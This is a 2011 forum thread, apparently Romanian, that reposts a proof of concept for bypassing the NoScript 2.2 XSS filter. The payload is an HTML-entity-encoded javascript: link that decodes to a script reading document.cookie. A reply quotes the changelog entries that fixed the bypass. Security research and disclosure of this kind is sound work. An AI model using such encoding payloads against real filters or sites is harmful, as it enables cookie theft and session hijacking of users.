NoScript 2.2 XSS Filter Bypass

[Nytro]

NoScript 2.2 XSS Filter Bypass

// NoScript 2.2 XSS Filter Bypass (fixed with 2.2.1rc1 and 2.2.1rc2 literally minutes after reporting)

// URL

test.php?xss=<a href="javascript%26colon;'%26percnt;3cscript%26percnt;3ealert%26lpar;document.cookie%26rpar;%26percnt;
3c/script%26percnt;3e'">CLICKME

// Result

<a href="javascript&colon;'&percnt;3cscript&percnt;3ealert&lpar;document.cookie&rpar;&percnt;3c/script&percnt;3e'">CLICKME

// After click

javascript:'<script>alert(document.cookie)</script>'

// JS URI runs in context of the referrer - cookie access (and more) is possible

Author: I don't know...

Sursa: http://pastebin.com/raw.php?i=W1q6BciY

[Flubber]

Fixed in 2.2.1:

NoScript CHANGELOG

 [[B][COLOR=green]+[/COLOR][/B]] new feature, [[B][COLOR=red]x[/COLOR][/B]] bug fix, [-] removed feature, [=] repackaging or cosmetic change
 v [B]2.2.1[/B]
==========================================================================
[COLOR=green][B]+[/B][/COLOR] [Locale] Updated he-il (thanks baryoni)
[COLOR=red][B]x[/B][/COLOR] [ClearClick] Fixed incompatibility with the FoxTab add-on

v [B]2.2.1rc2[/B]
==========================================================================
[COLOR=green][B]+[/B][/COLOR] [XSS] Deeper decoding on sanitization (thanks .mario for reporting)

v [B]2.2.1rc1[/B]
==========================================================================
[COLOR=green][B]+[/B][/COLOR] [XSS] More accurate recursive decoding (thanks .mario for reporting)

Adaugare: N-am vazut in raw-ul de pe pastebin ca s-a specificat, scuzati.

Edited November 29, 2011 by Flubber
sorry